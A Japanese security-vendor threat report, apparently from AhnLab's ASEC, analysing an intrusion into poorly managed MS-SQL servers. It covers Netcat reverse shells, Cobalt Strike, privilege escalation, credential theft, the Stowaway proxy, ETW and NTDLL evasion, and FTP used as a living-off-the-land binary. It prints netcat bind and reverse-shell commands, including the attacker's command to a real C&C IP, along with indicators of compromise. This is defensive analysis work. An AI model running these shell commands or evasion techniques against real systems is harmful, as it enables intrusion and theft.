MS-SQL サーバーを対象とした Netcat 攻撃事例(LOLBins)

AhnLab Security Emergency response Center(ASEC)は最近、不適切に管理されている MS-SQL サーバーを対象に Netcat マルウェアが拡散していることを確認した。Netcat は TCP / UDP プロトコルであり、ネットワーク上で特定の対象とデータを送受信するユーティリティである。Linux だけでなく、Windows 環境でも使用することができて様々な機能を提供しているため、ネットワーク管理者だけでなく、攻撃者によっても様々に使用されている。

1. Netcat

マルウェアの観点から Netcat の特徴をあげると、遠隔シェル(Remote Shell)として使用できる点があげられる。遠隔シェルは、攻撃対象になるシステムにシェルを提供し、攻撃者が攻撃対象システムの制御権を獲得できるようにする。例えば、Windows 環境ではコマンドプロンプトを通して外部に存在する攻撃者の意図したコマンドを攻撃対象システムで実行することができる。

遠隔シェル通信方式によってバインドシェル(Bind Shell)、もしくはリバースシェル(Reverse Shell)に分けられる。バインドシェルは、感染システムで特定のポートをオープンして待機し、攻撃者がそのポートに接続したときにシェルを提供する形態である。リバースシェルは攻撃者のシステムで特定のポートをオープンして感染システムでそのポートに接続する形態である。

バインドシェルは、簡単に使用できるといった長所があるが、外部から接続する形態であるため、ファイアウォールのようなセキュリティ製品で簡単に検知することができ、プライベートネットワーク(NAT : Network Address Translation)環境で動作する場合は、外部からの接続ができないという短所がある。リバースシェルは初回通信プロセスで感染システムが外部に接続する形態であるため、上記のような短所がなく、大半の攻撃でリバースシェルが使用されている。

以下は Netcat(nc.exe)を利用してバインドシェルおよびリバースシェルをインストールするコマンドを表示している。バインドシェルは例えば、感染システムで特定のポートをオープンして攻撃者が接続する場合、伝達されたパケットを cmd、すなわちコマンドプロンプトに伝達し、反対にコマンドプロンプトを通して実行されたコマンドの出力結果を攻撃者のアドレスに再度送信する。リバースシェルは初回通信の方向のみが異なり、その後のプロセスは同じである。

Figure 1.  Netcat を利用して遠隔でメモ帳を実行(バインドシェル)
  • バインドシェル
    感染システム > nc.exe -lp <ポート番号> -e cmd
    攻撃者 > nc.exe <感染システムの IP アドレス> <ポート番号>
  • リバースシェル
    感染システム > nc.exe <攻撃者の IP アドレス> <ポート番号> -e cmd
    攻撃者 > nc.exe -lp <ポート番号>

2. MS-SQL サーバーの攻撃事例

ASEC では不適切に管理されている MS-SQL サーバーを対象にしている攻撃をモニタリングしており、ASEC Report でも攻撃数および攻撃に使用されたマルウェアのような情報を、期間別に統計を通して公開している。[1]

Figure 2. ASEC Report 統計

不適切に管理されている MS-SQL サーバーとは、主に外部に露出しており、アカウント情報を単純に設定し、総当たり攻撃や辞書攻撃に脆弱な環境のことを指す。もし攻撃者がログインに成功すると、システムについての制御権が攻撃者に渡り、マルウェアをインストールしたり不正なコマンドを実行することがある。

MS-SQL は Windows サーバーにのみインストールされるものではなく、デスクトップ環境にもインストールされる。例えば、特定の ERP および業務用ソリューションをインストールする場合、一緒にインストールされる場合もあるため、MS-SQL サーバーへの攻撃は、Windows サーバーだけでなく、Windows デスクトップ環境も対象になることが特徴としてあげられる。

現在の解析対象のシステムは、外部に露出した MS-SQL サーバーがインストールされた環境であり、不適切なアカウント情報をもっていると推定される。これによって、様々な攻撃者はすでにアカウント情報を獲得しており、Remcos RAT だけでなく、tzw ランサムウェアをインストールする試みを捕捉したログも多く確認された。

しかし、今回確認された攻撃はこのような大量の攻撃キャンペーンとは異なり、具体的な攻撃対象について、攻撃が成功するまで様々なツールを利用して継続的に攻撃を試みていたという違いがある。攻撃者は「D:\DB\」パスに多数のマルウェアを生成して実行していた。使用されたツールは、中国の開発者が製作して GitHub に公開したものが大半である。具体的な攻撃者を特定するには情報が足りないが、少なくとも攻撃者が中国語になじみがあるという特徴は確認できる。

パス名 マルウェアの分類 説明
D:\DB\artifact.exe CobaltStrike バックドア
D:\DB\git.exe CobaltStrike バックドア
D:\DB\mimih3.exe CobaltStrike バックドア
D:\DB\nc64m.exe Netcat ネットワークツール(リバースシェル)
D:\DB\rasman.exe RasmanPotato 権限昇格ツール
D:\DB\SharpDecryptPwd.exe SharpDecryptPwd アカウント情報収集ツール
D:\DB\info.exe Stowaway プロキシツール
D:\DB\agent.exe Stowaway プロキシツール
Table 1. インストールされたマルウェアリスト

2.1. CobaltStrike

攻撃者は最初は Cobalt strike を使用して感染システムについての制御権を獲得しようと試みた。しかし、V3 製品によって Cobalt strike の実行が遮断されたため正常に動作できず、その後多数の Cobalt strike を追加で製作し、攻撃した。攻撃者が使用した Cobalt strike は HTTPS Stager であり、C&C サーバーで実際のバックドアである beacon をダウンロードしてメモリ上で実行する。

以下は Stager がダウンロードした、Cobalt strike の beacon について、SentinelOne 社の CobaltStrikeParser[2] ツールで抽出した結果である。

Figure 3. Cobalt strike の設定

Cobalt strike のインストールに失敗した攻撃者は、その後 Netcat を利用してリバースシェルをインストールしようと試みた。より簡単に使用できるツールである Cobalt strike の代わりに Netcat を利用した理由は、V3 によって持続的に遮断され、感染システムについての制御権の獲得が不可能であったためと推定される。

2.2. RasmanPotato

インストールされたマルウェアのうちには RasmanPotato[3] という権限昇格ツールも存在する。RasmanPotato は GitHub に公開されたオープンソースツールであり、RasMan サービスを利用して権限を昇格させるマルウェアである。

Figure 4. RasmanPotato

Potato タイプのマルウェアとしては、JuicyPotato、BadPotato、SweetPotato などの様々な種類があるが、すべて現在実行中のプロセスアカウントのトークンのうち、特定の権限を悪用する方式で権限を昇格させる機能を担っている。Potato マルウェアは Web シェルや MS-SQL サーバーを対象とした攻撃に主に使用される。これは、そのプロセスが脆弱性や不適切な設定によって攻撃者のコマンドを実行することができたとしても、デフォルトの設定により低い権限で実行されているため、このプロセスの権限を実行するマルウェアもしくは不正な振る舞いを実行するのに限界があるためである。

RasmanPotato をインストール後には、正常に権限昇格が行われたかを確認するため、攻撃者が以下のようなコマンドを実行し、現在のプロセスの権限を確認するログも確認された。

> d:/db/rasman.exe -c whoami

2.3. SharpDecryptPwd

SharpDecryptPwd[4] はアカウント情報を収集するコマンドラインツールである。もし感染システムに Navicat、TeamViewer、FileZilla、WinSCP、Xmanager(Xshell, Xftp)のようなプログラムがインストールされていて、ユーザーがよく使用するアカウント情報を保存し、設定ファイルにその情報が保存されている場合はこれを復号化して表示する。

Figure 5. SharpDecryptPwd

2.4. Stowaway

攻撃者は Netcat で制御権を獲得してから Stowaway[5]というプロキシツールをインストールしていた。攻撃者は主に外部から直接接続するのが難しいため、内部ネットワークに接続するためにプロキシツールをインストールする傾向がある。攻撃者は感染システムに属したネットワークに存在する他のシステムを、追加で攻撃する目的として Stowaway をインストールしたと見られる。

Figure 6. 攻撃者が実行した Stowaway コマンド

最後の引数である「qaxnb」は実際に Stowaway で使用した引数ではなく、Stowaway をパックしたパッカーが検証に使用する文字列である。もし5番目の引数にこの文字列が含まれていない場合は、どのような振る舞いも実行せずに終了する。

このパックはこれ以外にも検知および解析を妨害するため、追加の技法が提供される。まず、現在メモリ上にロードされた NTDLL のコード領域を原本 NTDLL のコードを復旧する。これはセキュリティ製品によってインストールされたフッキングを削除するため、振る舞いベースの検知を回避するための目的である。

Figure 7. NTDLL コード領域を復旧するルーティン

これ以外にも ETW (Event Tracing for Windows) 機能を無効化するため EtwEventWrite() 関数をパッチするルーティンも存在する。ETW は Windows で提供するイベント追跡メカニズムであり、セキュリティ製品でマルウェア検知のため ETW を活用するケースが多い。このパッカーは EtwEventWrite() 関数が呼び出し(終了)するようにパッチし、マルウェアが実行されるイベントが Windows に伝達されるのを防ぐ。

Figure 8. ETW 回避ルーティン
Figure 9. パッチされた EtwEventWrite 関数

3. Netcat with LOLBins

攻撃者は Cobalt strike のインストールに失敗してから、Netcat を利用して感染システムを制御しようと試みた。具体的にはリバースシェル方式で Netcat を実行し、正常に実行されるように攻撃者は cmd、すなわちコマンドプロンプトを通して悪意のあるコマンドを実行するようになる。

Figure 10. MS-SQL プロセスによって実行された Netcat (リバースシェル)

> d:/db/nc64m.exe -e cmd.exe 107.175.111[.]199 8083

しかし、攻撃者が実行した Netcat コマンドは遮断され、正常に動作していない。攻撃者は以下のよう、C&C サーバーの通信以降にシェル、すなわち cmd の代わり ftp を実行する形態で Netcat を動作させた。一般的に Netcat の e オプションでは cmd が使用されるが、遠隔シェルで動作するためには C&C サーバーとの通信をシェル機能を担うプログラムとして伝達される必要があるためである。

Figure 11. シェルの代わりに ftp を実行する Netcat コマンド

具体的なパケットは確認されていないが、攻撃者は LOLBins (Living Off the Land Binaries and Scripts) 技法として FTP を使用したものと推定される。LOLBins は OS に基本的に存在するツールで、他のマルウェアを実行したり、ダウンロードしたりするなど、悪意のある振る舞いに使用されるツールを指す。最近、セキュリティ製品ではファイルベースの検知の他にも振る舞いベースの検知機能を提供しているが、単純な形態で実行される場合は、それだけ簡単に検知されることもある。これによって攻撃者は LOLBins を悪用してマルウェアを実行したり、ダウンロードしたりするため、このような振る舞いベースのセキュリティ製品の検知を回避することができる。

Windows がサポートする「ftp.exe」は一般的に FTP クライアントとしての機能を担うが、それ以外にも「!」コマンドを追加で提供する。「!」は ftp でコマンドラインを実行できるコマンドであるが、これを利用して直接シェル、すなわち cmd を実行させる代わりに、ftp を経て cmd を実行させることができる。[6]攻撃者は FTP クライアントの特定の機能を悪用して Netcat が直接 cmd を実行させる代わりに ftp を通して cmd を実行させることで単純な形態の振る舞い検知を回避することができる。

Figure 12. FTP を利用した Netcat リバースシェル

4. 結論

最近、不適切に管理されている MS-SQL サーバーを対象に Netcat を利用した攻撃事例が確認された。攻撃者は、感染システムの制御権を獲得するために Cobalt strike だけでなく、Netcat を攻撃に使用しており、これ以外にも権限昇格および情報の窃取、プロキシツールなどの様々なマルウェアを追加でインストールしていた。

MS-SQL サーバーをターゲットとする攻撃の代表例としては、不適切にアカウント情報を管理しているシステムに対する総当たり攻撃(Brute Forcing)と辞書攻撃(Dictionary Attack)がある。管理者は、アカウントのパスワードを推測が困難な形式で設定し、定期的にパスワードを変更することで、総当たり攻撃や辞書攻撃からデータベースサーバーを保護しなければならない。

そして、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。また、外部に開放されていてアクセスが可能なデータベースサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、外部の攻撃者からのアクセスを統制しなければならない。上記のような処置が先行されていない場合、攻撃者およびマルウェアによって感染状態が継続する場合がある。

ファイル検知
– HackTool/Win.Stowaway.R5391243 (2023.03.06.00)
– Backdoor/Win.CobaltStrike.R5390727 (2023.03.04.01)
– HackTool/Win.Netcat.R5390726 (2023.03.04.01)
– Trojan/Win.Generic.R5390221 (2023.03.02.03)
– Trojan/Win.Generic.R5388505 (2023.02.26.03)
– Backdoor/Win.CobaltStrike.C360995 (2022.09.20.00)
– Malware/Win32.Generic.R4386013 (2021.03.23.00)

ビヘイビア検知
– Execution.MDP.NetCat.M4516

メモリ検知
– Downloader/Win.CobaltStrike.XM83
– Trojan/Win.ETWBypass.XM161

IOC
MD5

– 7cc986338d60af5f2b0f1a17d5ed0542 : Cobalt strike (artifact.exe)
– 3cdc614b55c9426a73fcfc194f3c13bc : Cobalt strike (git.exe)
– d16c0494d4ad7cf0c353eafe38985c7d : Cobalt strike (mimih3.exe)
– 844a9d708d3beb530b18d9ed7f3490a3 : Cobalt strike (mimih3.exe)
– 5ffad0ca02a426664249e9b9c0a2a122 : RasmanPotato (rasman.exe)
– 6ca5c7421c246efeb938eb73d3a93dd0 : SharpDecryptPwd (SharpDecryptPwd.exe)
– 4d3e3dab638640e4995357d6df2ea131 : Netcat (nc64m.exe)
– 21c2d9e1586d7fb7ac6fe8174a966513 : Stowaway (info.exe)
– deb07c605672a5b37873c2377cba1c09 : Stowaway (agent.exe)

ダウンロードアドレス
– 107.175.111[.]199:52443/bootstrap-2.min.js : Cobalt strike Stager
– ccbsec.ccb[.]fyi:443/bootstrap-2.min.js : Cobalt strike Stager

C&C アドレス
– ccbsec.ccb[.]fyi:443/api/info : Cobalt strike beacon
– 107.175.111[.]199:8081 : Netcat
– 107.175.111[.]199:8083 : Netcat
– 107.175.111[.]199:58000 : Stowaway

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

Categories:マルウェアの情報

Tagged as:

5 1 vote
評価する
Subscribe
Notify of
guest

0 コメント
Inline Feedbacks
View all comments